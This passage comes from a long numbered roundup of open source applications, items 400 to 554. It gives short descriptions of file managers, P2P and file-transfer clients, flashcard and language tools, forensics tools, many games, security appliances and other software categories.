This popular app is downloaded an average of 5,000 times per month. While it can be used by any type of business, webERP is particularly well suited to the needs of wholesalers, distributors and manufacturing companies. Commercial support and hosting are available through third-party organizations. Operating System: OS Independent

Open Source Apps: Family Tracing and Reunification

400. RapidFTR
In crisis situations like earthquakes and other disasters, children often get separated from their families. This mobile app makes it easier to collect, share and manage information about these children so that they can be reunited with their families more quickly. Operating System: OS Independent

Open Source Apps: File Managers

401. Java File Manager
Because it's based on Java, this file manager works with most operating systems. It's very simple and offers a less cluttered interface than many of the other two-panel file managers. Operating System: Windows, Linux, OS X
402. Krusader
The KDE file manager, Krusader is a twin-panel commander-style file manager. It boasts extensive support for archived files, advanced search, batch re-naming, file content comparisons and more. Operating System: Linux
403. muCommander
This Java-based, commander-style file manager is both lightweight and fast. It includes compression tools, a bookmark manager and more. Operating System: Windows, Linux, OS X
404. PCManFM
Built for the Lightweight Desktop Environment (LXDE), PCManFM is so fast and lightweight that it opens in just one second or less on most systems. It features a tabbed interface, drag & drop support and bookmarks support. Operating System: Linux
405. SurF
With its unique, tree-based view of files, SurF makes it very easy to move around your files and folders. It also includes a text search tool, real-time highlighting of new and changed files, network support and more. Operating System: Windows
406. TuxCommander
This Linux-only file manager requires no installation, so it's completely portable. It offers a tabbed, two-panel graphic interface and support for files larger than 4GB. Operating System: Linux

Open Source Apps: File Sharing

407. ABC (Yet Another BitTorrent Client)
Based on BitTornado (which in turn is based on BitTorrent), ABC offers multiple downloads in a single window, super-seed mode, prioritized queuing system and other features. Note that this client hasn’t been updated in several years, but you can still download the latest version. Operating System: Windows
408. ANts P2P
For P2P users who are concerned about security, ANts encrypts all files as they are transmitted and routes data through several intermediate nodes in order to protect the privacy of the uploader and the downloader. The website includes multiple tutorials for those who are new to anonymous file-sharing. Operating System: OS Independent
409. Ares P2P
Ares supports BitTorrent and ShoutCast, as well as the Ares peer-to-peer network. It includes a built-in player, a library organizer, chat rooms and more. Operating System: Windows
410. BitTornado
BitTornado offers a slightly different interface for accessing P2P networks via the BitTorrent protocol. The latest version adds encryption capabilities for security. Operating System: Windows, Linux, OS X
411. BitTorrent
Boasting "powerful features and a world of content," BitTorrent lets users download multimedia files from a wide variety of torrent sites. The website includes plenty of help for those who are new to file sharing. Operating System: Windows, Linux, OS X
412. BT++
This app aims at improving the original BitTorrent client. Current features include multiple downloads in a single window, minimize to the system tray, and automatic re-starting of interrupted torrents. In the future, developers plan to add enhanced bandwidth throttling and better OS/browser integration. Operating System: Windows, Linux/Unix
413. DC++
A good option for P2P newbies, DC++ provides an interface to connect to the Direct Connect/Advanced Direct Connect network. It's been downloaded more than 50 million times, and the site includes a lot of tutorials and other documentation for new users. Operating System: Windows
414. eMule/eMule Plus
One of the most popular projects on SourceForge, this client for the eDonkey and Kad networks gets more than a million downloads a week. It calls itself "one of the biggest and most reliable peer-to-peer file sharing clients around the world." Operating System: Windows
415. Mute
Similar to ANts, Mute is an anonymous P2P client. The interface is very basic, but the website provides a lot of good documentation, including understandable explanations of how anonymous file-sharing works. Operating System: OS Independent
416. PeerBlock
This fork of PeerGuardian 2 (which is no longer in active development) protects your privacy while using peer-to-peer networks by blocking computers on "known bad" lists. It's been downloaded more than a million times. Operating System: Windows
417. RetroShare
Most file sharing networks open you up to all kinds of security and privacy concenrs, but RetroShare lets you set up a secure file sharing network only among those you trust. It encrypts all communication via OpenSSL and GPG, and it supports e-mail, chat, file sharing, streaming, VoIP, and more. Operating System: Windows, Linux, Unix, BSD
418. Shareaza P2P
Shareza humbly calls itself "most luxurious and sophisticated file sharing system you'll find." It supports four separate P2P networks: eDonkey2000, Gnutella, BitTorrent and Gnutella2, and it offers previews, chat, user comments and ratings. Operating System: Windows
419. StealthNet
Like MUTE, the StealthNet network routes file sharing requests through multiple network nodes in order to provide anonymity. It offers fast download speeds and a user-friendly GUI. Operating System: OS Independent
420. Vuze/a>
One of the most popular BitTorrent clients, Vuze makes it easy for novices to get started downloading hi-def video while offering plenty of features for advanced users. Operating System: Windows, Linux/Unix, OS X
421. Waste
Waste allows small groups of users to chat and download files securely and anonymously. Transmissions are encrypted using RSA and Blowfish algorithms. Operating System: Windows, Linux, BSD, OS X.

Open Source Apps: File Transfer

422. Connectbot
With this SSH client, you can connect securely to your corporate network to transfer files to your phone. Substantial documentation is available on the site. Operating System: Android
423. FileZilla
FileZilla comes in a server version that runs on Windows only, or a desktop client version that works on multiple platforms. In addition to regular FTP transfer, it also supports secure file transfer via FTPS or SFTP. Operating System: Windows, Linux, OS X
424. FireFTP
This add-on gives you an intuitive FTP client for the Firefox browser. It supports FTP or SFTP only. Operating System: Windows, Linux, OS X
425. WinSCP
Award winning WinSCP offers a client for transferring files via SFTP, SCP, FTPS or FTP protocols. It includes two different interfaces: Explorer (which looks like Internet Explorer) and Commander (which looks like Norton Commander). Operating System: Windows

Open Source Apps: Flashcards

426. Anki
Anki supports images, audio, videos and scientific markup, so you can use it to memorize anything from names and faces, geography, vocabulary, information for medical or law exams or even guitar chords. It also works with most mobile OSes, so you can use it on your smartphone or tablet. Operating System: OS Independent.
427. FlashQard
FlashQard uses the Leitner method of presenting flashcards, which focuses your time and attention on the facts that you haven't yet mastered. There are several pre-made sets of cards available and it also supports the KDE vocabulary sets used for Parley. Operating System: Windows, Linux
428. Genius
Genius can help you memorize almost anything—foreign language phrases, vocabulary words, historical events, legal definitions, even formal speeches. It uses a "spaced repetition" method that takes your previous answers into account when quizzing you on the material to be learned. Operating System: OS X
429. jVLT
Java-based jVLT is a flashcard program specifically designed to help users learn the vocabulary for a foreign language. You can download flashcard sets for learning a number of different languages, including German-Czech, English-Czech, Finnish-Russian, Czech-English, German-Czech, German-French, Thai-English, Spanish-French, French-English, and practical Chinese reading. Operating System: Windows, Linux, OS X
430. The Mnemosyne Project
This flashcard app boasts an intuitive interface, support for foreign alphabets and scientific symbols, an efficient scheduling algorithm and three-sided flashcards, which are helpful for learning a foreign language. It's available in a mobile version, and if you use the program, you also have the option of uploading your usage statistics so they can be incorporated into a research project studying long-term memory. Operating System: Windows, Linux, OS X, Android, BlackBerry
431. Parley
KDE's vocabulary training program works like a traditional flashcard program, but gives you the option of creating other types of tests, like mixed letters (anagrams), multiple choice, conjugation tests, synonym/antonym tests, fill in the blank and more. You can also find a very extensive library of pre-made cards for Parley at KDE for Windows. Operating System: Windows, Linux
432. Pauker
Pauker is designed to help you exercise your ultra-short-term, short-term, and long-term memory. It's Java-based and works on smartphones and other mobile devices, as well as desktops and laptops. Operating System: OS Independent

Open Source Apps: Foreign Language Instruction

433. Pythonol
Pythonol is designed to help English speakers learn Spanish. It includes multiple tools and games for learning vocabulary, conjugation, pronunciation, idioms, reading comprehension and more. Note that it comes in separate versions for adults and children. Operating System: Windows 98, Linux
434. Step Into Chinese
While it's not as full-featured as Rosetta Stone, Step Into Chinese does include information to help you learn the characters, meanings, and pronunciation of more than 26,000 modern Chinese words and concepts. It also has a helpful flashcard feature for learning through repetition. Operating System: Windows, Linux, OS X
435. Zkanji
This Japanese learning tool includes dictionaries, a flashcard tool and stroke animations. It also has thousands of example sentences and inflection/conjugation information. Operating System: Windows.
436. ZWDisplay
ZWDisplay aims to help Mandarin students become better readers of the language. It includes both English-Chinese and Chinese-English translation capabilities and a built-in flashcard app. Operating System: Linux

Open Source Apps: Forensics

437. Live View
This Java-based tool creates a VMWare virtual image of the machine you are analyzing so that you can interact with it without changing the underlying image or disk. Developed by CERT and the Software Engineering Institute at Carnegie Mellon, it's an excellent tool for forensic examiners. Operating System: Windows.
438. ODESSA
Although it hasn't been updated in several years, the Open Digital Evidence Search and Seizure Architecture, aka "ODESSA," offers several different tools that can be useful in analyzing digital evidence and reporting on findings. The site also offers several white papers related to the topic. Operating System: Windows, Linux, OS X.
439. The Sleuth Kit/Autopsy Browser
The Sleuth Kit includes a set of digital investigation tools that run from the command line. For those that prefer a graphical interface, the Autopsy Browser provides a front-end to the tools. Operating System: Windows, Linux, OS X

Open Source Apps: Games

440. 0 A.D.
Now in its sixth alpha release, 0 A.D. looks and feels a lot like Microsoft's Age of Empires series. The high-quality graphics are particularly noteworthy, and we assume the game will continue to improve and eventually enter beta and general release status. Operating System: Linux, Windows, OS X
441. Advanced Strategic Command
Created "in the tradition of the Battle Isle series," Advanced Strategic Command is a turn-based strategy game where combat units fight it out on a map made of hexagonal spaces. It offers both single- and multi-player play. Operating System: Linux, Windows
442. Alien Arena
Similar to games like Quake and Unreal Tournament, this "furious frag fest" has been downloaded more than 1 million times since its debut in 2004. It offers great graphics and a sci-fi theme. Plus, it has a large and loyal community, so it's easy to find players for an online match nearly any time. Operating System: Linux, Windows, OS X
443. AssaultCube
Based on the Cube engine (see below), AssaultCube is another multi-player first-person shooter with realistic graphics. With low latency and a lightweight file size, it can run easily on older system or slow network connections. Operating System: Linux, Windows, OS X
444. AssaultCube Reloaded
This fork of the popular first-person shooter integrates some of the best features of Battlefield, Quake and Call of Duty into AssaultCube, while maintaining a lightweight footprint. Other improvements include ricochet shots, new weapons, improved radar and more. Operating System: Windows, Linux
445. Battle for Wesnoth
This turn-based strategy game is set in a high-fantasy world full of elves, necromancers, orcs and warriors. It includes multiple scenarios for gameplay or you can play against up to eight other people in multiplayer battles. Operating System: Linux, Windows, OS X, iOS
446. BosWars
Set in a futuristic world, BosWars is a real-time strategy game where you must build up your economy and your military at the same time. You can play alone or connect to other opponents over a LAN or over the Internet. Operating System: Windows, Linux, BSD, OS X
447. BZFlag
Short for "Battle Zone Capture the Flag," BZFlag is a very popular 3D tank game. It was originally based on the arcade game Battlezone, and several servers make it possible to connect to online multiplayer games. Operating System: Windows, Linux, OS X
448. CommanderStalin
CommanderStalin is based on the BosWars code, but instead of playing in a future world, this game is set in the Soviet Union under Stalin's rule. Build up your society quickly so that you'll be able to defend against the inevitable attack from Nazi Germany. Operating System: Windows, Linux
449. Crossfire
With more than 150 monsters, about 3000 maps to explore, 13 races, 15 character classes, a system of skills, and many artifacts and treasures, this cooperative multiplayer graphical RPG and adventure game puts you in an elaborate, magical world. However, the graphics and game play are decidedly retro. Operating System: Windows, Linux, OS X
450. Cube
This first-person shooter offers a variety of interesting landscapes and maps with superb 3D graphics. You can play single-player or multi-player online games, and you can also create your own maps. Operating System: Windows, Linux, OS X
451. Dakar 2011
In this newer racing game, you drive in the Dakar rally through 14 different stages based on real maps. It includes six different vehicles and 140 different opponents. Operating System: Windows, Linux
452. Egoboo
Although it's still under development, Egoboo has been downloaded more than 400,000 times. In this role-playing adventure game, you crawl through a dungeon hoping to save Lord Bishop from the evil Dracolich. Operating System: Windows, Linux, OS X
453. Enigma
Based on the old Oxyd Atari game, Enigma is an addictive puzzle game where the object is to find sets of matching stones. It has more than 1,000 levels to keep you challenged. Operating System: Windows, Linux, Unix, OS X
454. Excalibur: Morganna's Revenge
With an elaborate storyline, EMR takes players on a time-traveling journey through a wide variety of landscapes. It's fast, action-packed and offers 42 solo levels and 27 multi-player levels. Operating System: Windows, Linux, OS X
455. Fish Fillets NG
This is an open-source, cross-platform remake of the older Fish Fillets freeware puzzle game for Windows. The goal is to free the two trapped fish on each level, while the two fish make witty remarks about the game. Operating System: Windows, Linux, Unix, OS X
456.FlightGear
Like many of the best commercial flight simulators, FlightGear offers a very realistic flying experience with more than 20,000 real-world airports. It offers multiple types of aircraft with extremely accurate controls and operation. Operating System: Windows, Linux, OS X, others
457. Foobillard++
This is also a remake of an earlier open source game. Check out the screenshots on the site to see the excellent graphics for this billiards game. Operating System: Windows, Linux
458. FreeCol
In this turn-based strategy game, you establish a colony in the New World while building up your economy and your military. It was originally based on the older game Colonization and feels very similar to the game Civilization. Operating System: Windows, Linux, OS X
459. FreeCiv
Another game that's similar to Civilization, FreeCiv begins in prehistoric times and requires you to manage your community so that you survive through modern times. Unlike many similar games, it supports many different languages. Operating System: Windows, Linux, OS X
460. FreeOrion
Inspired by the Master of Orion games, FreeOrion describes itself as a "turn-based space empire and galactic conquest game." It offers both single- and multi-player games. Operating System: Windows, Linux, OS X
461.Frets on Fire
Extremely similar to Guitar Hero, Frets on Fire includes hundreds of songs created by the community, allows you to create your own songs and imports songs from Guitar Hero I and II. You can use a generic guitar controller or joystick to play, or you can use your keyboard as a "guitar." Operating System: Windows, Linux, OS X
462. Frozen Bubble
Sometimes called "the most addictive game ever created," Frozen Bubble offers single-player, two-player or networked multi-player games. Shoot the bubbles to create chains of matching colors and eliminate them before time runs out. Operating System: Windows, Linux
463. Get Sudoku Portable
Stumped by a Sudoku puzzle? Enter the values you know into this app and it will help you keep track of the possible answers for all of the other boxes. Operating System: Windows
464. Glest
In this 3D real-time strategy game, the forces of Tech (machines and warriors) battle against the forces of magic (mages and summoned creatures). It's won multiple awards, and has a very active user community. Operating System: Windows, Linux
465. GLtron
Inspired by the movie Tron (and all the other games inspired by the movie), GLtron requires players to ride lightcycles around a course, leaving "wall" trails behind them. Crash into a wall, and you're dead. The goal is to be the last rider still alive. Operating System: Windows, Linux, OS X
466. GnomeGames
This is the collection of casual "five-minute" games for the Gnome desktop. It includes AisleRiot (a solitaire collection), GNOME Chess, GNOME Mahjongg, GNOME, Klotski, Iagno (Reversi), Nibbles, Quadrapassel (Tetris) and more. Operating System: Linux
467. Hedgewars
This slightly silly game features "the antics of pink hedgehogs with attitude as they battle from the depths of hell to the depths of space." It offers turn-based action for up to eight players. Operating System: Windows, Linux, OS X, iOS
468. KDE Games
The collection of games that ships with the KDE desktop includes dozens of arcade, board, card, dice, logic and strategy games. It includes versions of tetris, breakout, golf mahjong, battleship, sudoku and others. Operating System: Windows, Linux
469. LinCity NG
As you might guess from the name, this is an open source version of SimCity. (The "NG" version is an update of the older LinCity game.) To win, build up your city to create a sustainable economy or evacuate all of the population on spaceships. Operating System: Windows, Linux, OS X
470. Liquid War
Liquid War has been called the "most original Linux game," and it truly is unique. You control an army of liquid and try to defeat your opponents by eating them. The graphics aren't great, but it's worth checking out. Operating System: Windows, Linux, OS X
471. Linley's Dungeon Crawl
For those who like their games really old-school, Dungeon Crawl is similar to the old DOS game Rogue. You must maneuver your way through an underground maze to retrieve the Orb of Zot while defeating various monsters and overcoming other obstacles. Operating System: Windows, Linux, OS X
472. MegaGlest
This app is a fork of popular Linux game Glest, which is no longer under active development. It updates and adds new features to the real-time strategy game where users control the warring armies of Tech and Magic. Operating System: Windows, Linux.
473. Micropolis
Based on the original code for SimCity, Micropolis offers the familiar city-building scenario with somewhat dated graphics. It's also part of the One Laptop Per Child project. Operating System: Linux, Unix
474. Neverball
In this puzzle/skill game, you must quickly tip various platforms in order to roll a ball through an obstacle course with 141 levels of increasing difficulty. The download also includes Neverputt, a golf game that uses the same physics and graphics engine. Operating System: Windows, Linux, OS X
475. Nexuiz
Downloaded more than 5 million times, this very popular first-person shooter is included in many Linux distributions. A team is now working on a re-make that will soon bring Nexuiz to many gaming consoles. Operating System: Windows, Linux, OS X
476. Oolite
Inspired by the game Elite, Oolite is a single-player space simulator that requires you to pilot ships around the universe, creating space stations around inhabited planets. Along the way, you'll need to fight off enemy ships. Operating System: Windows, Linux, OS X
477. OpenArena
For mature audiences only, OpenArena is a deathmatch first-person shooter with seventeen characters and 12 weapons to choose from. It has a large userbase, so it's easy to connect to an online game. Operating System: Windows, Linux, OS X
478. OpenCity
Inspired by the open source project FreeReign, OpenCity is another city development simulator. It also uses a lot of concepts from SimCity2000, although it isn't a clone of that game. Operating System: Windows, Linux, OS X
479. OpenTTD
This clone of Transport Tycoon Deluxe adds a number of features not found in the original commercial game, including multi-player games for up to 255 players. As in the original, the goal is to make a lot of money transporting passengers and freight by land, water and air. Operating System: Windows, Linux, OS X
480. Pingus
Pingus is a lot like the puzzle game Lemmings—except that it features penguins instead of lemmings. Direct your horde of penguins through the course by typing in simple commands. Operating System: Windows, Linux, OS X
481. PokerTH
This version of Texas Hold 'Em lets you play against up to 10 live or computer-generated players and features very nice graphics. It's been downloaded millions of times and is one of the most popular open source games around. Operating System: Windows, Linux, OS X
482. Pushover
In Pushover, you control an ant who scales various levels, pushing over dominos in the correct sequence to reach the next level. The graphics are old-school, but the puzzles are fun. Operating System: Windows, Linux, OS X
483. PySolFC
A fork of the discontinued PySol Solitaire project, PySolFC includes more than 1,000 solitaire card games. Key features include multiple cardsets and tableau backgrounds, sound, unlimited undo, player statistics, a hint system, demo games and more. Operating System: Windows, Linux, OS X
484. Red Eclipse
First released in March of 2011, Red Eclipse is a newer shooter built on the Cube engine. It offers multiple game modes, excellent graphics and both single- and multi-player action. Operating System: Windows, Linux, OS X
485. Rigs of Rods
Extremely popular, Rigs of Rods is a vehicle simulator that uses a soft-body physics engine to provide very accurate simulations. In order to run it, you will need a fairly up-to-date system. Operating System: Windows, Linux, OS X
486. Rocks'N'Diamonds
One of the oldest games created for Linux, Rocks'N'Diamonds is similar to the old Boulder Dash game. Pass through the levels by collecting diamonds while avoiding monsters and traps. Operating System: Windows, Linux, OS X
487. Ryzom
This MMORPG is set 2000 years in the future on the world of Atys. The source code is available and it's free to play, but you'll need a subscription if you want to advance past level 125. Operating System: Windows, Linux, OS X
488. Scorched3D
Scorched 3D modernizes the classic DOS artillery game Scorched Earth. You can play against up to 24 other players at a time over a LAN or online. Operating System: Windows, Linux, OS X
489. Secret Maryo Chronicles
For Mario Bros. fans, this game resurrects the old 2D graphics from the original game. Jump and run to collect mushrooms, fireplants and stars, but look out for the poison mushroom. Operating System: Linux, OS X
490. Seven Kingdoms: Ancient Adversaries
In this real-time strategy game, you choose to play as the Japanese, Chinese, Mayans, Persians, Vikings, Greeks, or Normans against up to six other civilizations. Unique features include an advanced espionage system, magical creatures called fryhtans and a taxation system. Operating System: Windows
491. ScummVM
ScummVM allows you to port many classic point-and-click adventure games to nearly any platform you like, including many mobile platforms. Supported games include Simon the Sorcerer 1 and 2, Beneath A Steel Sky, Broken Sword 1 and Broken Sword 2, Flight of the Amazon Queen, Monkey Island, Day of the Tentacle, Sam and Max, and dozens of others. Operating System: Windows, Linux, OS X, and many others
492. Simutrans
Similar to Transport Tycoon Deluxe and OpenTTD, this app allows you to build up a city full of a variety of transportation networks. Just stay out of debt, or your game will soon be over. Operating System: Windows, Linux, OS X
493. Smash Battle
Although it's only a few years old, this game features old school, 2D graphics. Two to four players jump from platform to platform trying to shoot each other without being killed. Operating System: Windows, Linux
494. SokoSolve
Like all Sokoban (Japanese for "warehouse keeper") games, SokoSolve requires you to pull, never push, crates one at a time until you achieve the desired configuration. The 2D play is simple but surprisingly addictive. Operating System: Windows
495. Steel Storm Episode I
Set in a futuristic world, Steel Storm is a top-down shooter with fast-paced action that doesn’t take too long to play. Note that while Episode I has an open source license, Episode II is a commercial product. Operating System: Windows, Linux
496. StepMania
Dance Dance Revolution fans can test their rhythm skills for free with StepMania. Connect your own dance pads or just use the keyboard to keep up with the beat. Operating System: Windows, Linux/Unix, OS X, XBox
497. Stunt Rally
Stunt Rally is also a racing game, and it offers 57 tracks, 9 scenarios and 8 cars. There's also a track editor, so you can create your own courses, complete with loops and curves. Operating System: Windows, Linux
498. SuperTuxKart
This 3D racing game features Tux the Penguin racing around 20 different tracks. The graphics are less than fabulous, but it does offer several different game modes and multi-player capabilities. Operating System: Windows, Linux, OS X
499. T^3 Portable
Play Tetris in 3D! It's simple, familiar and fun. Operating System: Windows
500. Teeworlds
Teeworlds combines cartoon-ish 2D graphics with deadly action in a side-scrolling game for 2 to 16 players. Shoot the other players with your pistol, bash them with your mallet or hunt for more powerful weapons as you battle your opponents. Operating System: Windows, Linux, OS X
501. TORCS
Another racing game,Tthe Open Race Car Simulator (TORCS, for short) features more than 50 different cars, more than 20 tracks, and 50 opponents. You can play against up to four other people from your system, but it does not yet support online multiplayer races. Operating System: Windows, Linux, OS X
502. Tremulous
This team-action game pits human versus aliens and combines elements you find in a first-person shooter with elements of a real-time strategy game. The graphics and storyline are impressive, and it's won a number of awards. Operating System: Windows, Linux, OS X, XBox
503. Tux Racer
Downloaded more than a million times, Tux Racer allows you to guide Tux the Linux penguin through a variety of snow-covered courses. Collect herring while you deal with hazardous weather conditions and speed down steep mountains. Operating System: Windows, Linux, OS X
504. UFO:Alien Invasion
This game transports players to the year 2084, where they must control a secret group defending earth from an alien invasion. It's inspired by the X-COM games, but isn't a remake. Operating System: Windows, Linux, OS X
505. Ultrastar Deluxe
Similar to SingStar for Playstation, this competitive karoake game awards points based on how well you sing. You'll need a microphone to play, and up to six people can play at the same time. Operating System: Windows, Linux, OS X
506. Unknown Horizons
A cross between a city building simulator and a real-time strategy game, Unknown Horizons starts you off with a ship, a few sailors and a handful of resources that you must use to build a thriving civilization. It's still an alpha release but is playable. Operating System: Windows, Linux, OS X
507. VDrift
Built with drift racing in mind, this racecar game offers great graphics, more than 40 real-world tracks and nearly 40 real-world cars. It's single-player only, but you can race against up to 3 AI opponents. Operating System: Windows, Linux, OS X
508. Vega Strike
Vega Strike describes itself as a "3D action-space-sim that lets you trade, fight, and explore in a vast universe." It's a beta release but very playable, and the graphics are very good. Operating System: Windows, Linux, OS X
509. WarMUX
This artillery game describes the style of play as "convivial mass murder." The goal is to inflict maximum damage to your opponents using dynamite, grenades, baseball bats and bazookas. The scenery is cartoonish, and the characters are open source software mascots. Operating System: Windows, Linux, OS X
510. Warsow
Enter a cartoon-ish future world where you must shoot rocketlauncher-wielding pigs and lasergun-carrying cyberpunks. This first-person shooter moves very fast with lots of running, jumping and bouncing off the walls. Operating System: Windows, Linux, OS X
511. Warzone 2100
In this real-time strategy game, you must re-build the world after it's been nearly destroyed by nuclear war. It has a very large research tree and focuses on artillery, radar, and counter-battery technologies. Operating System: Windows, Linux, OS X
512. Widelands
Similar to The Settlers and The Settlers II, Widelands is yet another real-time strategy game that requires you to build your economy and military strength to overcome competing civilizations. It features four worlds, three tribes, and single- or multi-player games. Operating System: Windows, Linux, OS X
513. WinBoard Portable
Play the standard chess game you know or one of the variants like xiangqi (Chinese chess), shogi (Japanese chess), Makruk, Losers Chess, Crazyhouse, Chess960 and Capabanca Chess. You can play on your own or connect to other players on the Internet. Operating System: Windows
514. XMoto
In this 2D platform-style game, you ride motocross past various obstacles while collecting strawberries. Thanks to an active user community, it has more than 2500 custom levels available for download. Operating System: Windows, Linux, OS X
515. XPilot
Inspired by games like Thrust and Asteroids, XPilot is an old school 2D space battle game. It's been forked many times, and versions are also available for smartphones. Operating System: Windows, Linux, OS X
516. Yo Frankie!
Because it was created to show off the capabilities of the open source 3D modeling tool Blender, the graphics on Yo Frankie! are particularly impressive. It's a platform style game in which you control a sugar glider or monkey who must make it through a course full of obstacles. Operating System: Windows, Linux, OS X
517. Zero-K
Set in a futuristic world, this real-time strategy game requires players to build up armies of mechanical beings. Some of its unique features are a flat technology tree and the ability to transform the landscape with the characters you control. Operating System: Windows, Linux
518. Zombies
The objective of this game is simple—kill the zombies before they kill you. It's turn-based and includes gore settings so you can choose how much blood splatters around. Operating System: Windows, OS X

Open Source Apps: Gateway Security Appliance

519. Endian Firewall Community
Like Untangle, the open source version of Endian allows you to turn an older PC into a gateway security appliance. It includes a firewall, anti-virus, anti-spam, Web content filtering, a VPN and more. Operating System: Linux
520. Untangle
With Untangle, you can turn an old PC in to an appliance that protects your privacy and secures your network (or you can purchase a pre-configured appliance directly from the company). It's currently used by more than 1.7 million people at more than 30,000 organizations around the world. Operating System: Linux
521. NetCop UTM
Available as either a free open source download for up to five concurrent users or in an enterprise version for unlimited users, NetCop offers the same functions as Endian and Untangle and the commercial UTMs. However, it is not available as a pre-configured appliance. Operating System: Linux.

Open Source Apps: Genealogy

522. GenealogyJ
This Java-based genealogy app lets you view family information as a family tree, in a table, on a timeline, or by geographic location. It's appropriate both for people looking for a hobby and more serious historians. Operating System: OS Independent
523. Gramps
If tracing your genealogy is your idea of a good time, you might enjoy this app which also has one of the most fun acronyms ever—Gramps is short for "Genealogical Research and Analysis Management Programming System." Not only is the tool itself helpful, but the site also include more than 1,000 pages of content about tracking your relatives. Operating System: Windows, Linux, OS X
524. PhpGedView
Working on your family tree? PhpGedView makes it easy to collaborate online with the rest of your family to trace your genealogy. Note that you'll need your own Web server in order to set it up. Operating System: OS Independent

Open Source Apps: Geography/GPS

525. Marble
Another KDE app, Marble is a combination atlas/virtual globe that integrates with Wikipedia so that students can learn more about places that interest them. It also includes topographic maps, a satellite view, street maps, earth at night and temperature and precipitation maps, and many teachers find it useful in the classroom. Operating System: Windows, Linux, OS X
526. WorldWind
WorldWind was originally packaged to be very similar to Google Earth. The link here takes you to an SDK that allows you to incorporate WorldWind into your own apps. It also includes links to several interesting apps that use WorldWind. Operating System: OS Independent

Open Source Apps: Graphics Editors

527. Art of Illusion
This 3D modeling and rendering software isn't as full-featured as Maya (or Blender), but it's capabilities are robust enough for beginners and amateurs. The interface is fairly easy to use and it has good online documentation, including some tutorials. Operating System: OS Independent
528. Blender
Suitable for professionals, Blender is a free open source 3D content creation suite. It includes tools for 3D modeling, shading, animation, rendering and compositing. Operating System: Windows, Linux, OS X
529. Dia
If you need to outline the steps necessary for a project, create a system diagram or draw an org chart, Visio is for you. It supports common graphic file formats, as well as a space-saving custom XML format. Operating System: Windows, Linux, OS X
530.Gimp
Short for "GNU Image Manipulation Program," GIMP is a professional-quality image manipulation program that's intuitive enough for amateurs to use. It includes a full suite of painting and image re-touching tools, layers and channels, sub-pixel sampling, quickmask, file format conversion tools, animation capabilities and much more. For the Windows version, you'll need to download Gimp-win. Operating System: Windows, Linux
531.Inkscape
Another tool for graphics professionals, Inkscape is a vector graphics drawing program with many advanced features. The Inkscape website also includes links to a library of open source clip art that you can use freely in your illustrations. Operating System: Windows, Linux, OS X
532. K-3D
Another 3D modeling and animation option, K-3D claims it "excels at polygonal modeling, and includes basic tools for NURBS, patches, curves and animation." Like Art of Illusion, it's suitable for amateurs. Operating System: Windows, Linux, OS X
534. Pencil
Pencil lets you create traditional 2D animations using your computer. It's best for home users and hobbyists who love the look of the old-school cartoons. Operating System: Windows, Linux, OS X
535. Pixelitor
Similar to Photoshop and the open source graphics program Gimp, Pixelitor lets users perform advanced editing of photos and graphics. And because it's Java-based, it works on multiple platforms. Operating System: OS Independent.

Open Source Apps: Human Resource Management (HRM)

536. Open Applicant
Open Applicant helps HR professionals and hiring managers sort through potential candidates to find the best applicant for a job. The application is free to download, but enterprise level support, customization, an SaaS version, and other services can be purchased from the company. Operating System: OS Independent
537. Orange HRM
With more than 1 million users, Orange claims to be the "world’s most popular Open Source Human Resource Management Software." It tracks time and attendance, leave, recruiting performance, and employee information, and it's also available in an SaaS version. Operating System: Windows, Linux, Unix, OS X
538. WaypointHR
While not as mature as Orange, Waypoint also tracks employee records, pay, performance, leave and other HR information. Also, like Orange, it's available in a hosted "On Demand" version. Operating System: OS Independent

Open Source Apps: Instant Messaging

539. Adium
Pidgin (see below) doesn't work on a Mac, but this nearly identical app does. Operating System: OS X
540. aMSN
Conceived as an MSN Messenger clone (before Microsoft changed the name to Windows Live Messenger), this app includes offline messaging, voice clips, photo support, custom emoticons and more. A large library of plug-ins and skins is also available on the site. Operating System: Windows, Linux, OS X
541. Kopete
KDE's IM client supports AIM, ICQ, Windows Live Messenger, Yahoo, Jabber, Gadu-Gadu, Novell GroupWise Messenger and other networks. It also offers tools for archiving and encryption and a unique notification system that only lets "important" message through. Operating System: Linux
542. Miranda IM
Small and fast, Miranda is very light on system resources. Like many of the other IM clients on our list, it supports multiple networks, including AIM, Facebook, ICQ, IRC, Yahoo and others. Operating System: Windows
543. Pidgin
This universal chat client allows you to IM with friends on numerous different networks, including AIM, ICQ, Google Talk, Jabber/XMPP, MSN Messenger, Yahoo, and others. It's available in dozens of languages, and numerous plug-ins extend its capabilities. Operating System: Windows, Linux/Unix
544. Psi
Psi is an open-source IM client for the Jabber network, which includes GoogleTalk, LiveJournal, and a number of international networks. It’s completely customizable and supports about 20 different languages. Operating System: Windows, Linux, OS X

Open Source Apps: IT Inventory Management

545. GLPI
This app creates a database that tracks all of the technical resources of your organization. It also includes some management functions that allows admins and help desk to staff track open jobs, respond to alerts, etc. Operating System: OS Independent
546. OCS Inventory NG
This "next generation" inventory tool helps you discover all the hardware and software in use on your network, which you can then track with a tool like GLPI (see below). It can also help you easily deploy scripts or software across your network. Operating System: OS Independent

Open Source Apps: Library

547. LibLime Koha
Koha humbly describes itself as "the most functionally advanced open source ILS on the market today." A variety of paid services, including hosting, support, implementation and consulting are also available on the site. Operating System: OS Independent
548. OpenBiblio
This automated library system includes online public access catalog (OPAC), circulation, cataloging, and staff administration functionality. It's not as full-featured as some of the other library apps, but it gets the job done, and the site has lots of documentation. Operating System: OS Independent
549. VuFind
Designed and developed "by libraries for libraries," VuFind aims to make searching your library's catalog easy and intuitive. Key features include modular design, faceted results, "more like this" suggestions, author biographies and more. Operating System: OS Independent

Open Source Apps: Linux Desktop Environments

550. Gnome
One of the two most popular Linux desktop environments, Gnome is the default desktop for Fedora, Ubuntu, and several other distributions. It's best known for being easy to use. Operating System: Linux
551. KDE Plasma Desktop
The second of the two most popular Linux desktop environments, KDE has a reputation for being "prettier" than some of the other desktop environments and feels very similar to Windows and OSX. The KDE community is one of the largest open source communities, so plenty of help is available for new (or experienced) users. Operating System: Linux
552. LXDE
The "Lightweight X Desktop Environment" claims it has a "beautiful interface," but if truth be told, it's much more concerned about speed than looks. Because it uses so few computing resources, it's a good choice for netbooks and cloud-computing environments. Operating System: Linux
553. Xfce
Another lightweight option, Xfce also offers very fast performance and doesn't make any claims about its beauty. It offers a modular design, so users can install just the components they choose in order to create a completely customized desktop experience. Operating System: Linux

Open Source Apps: Log File Monitoring and Analysis

554. Analog
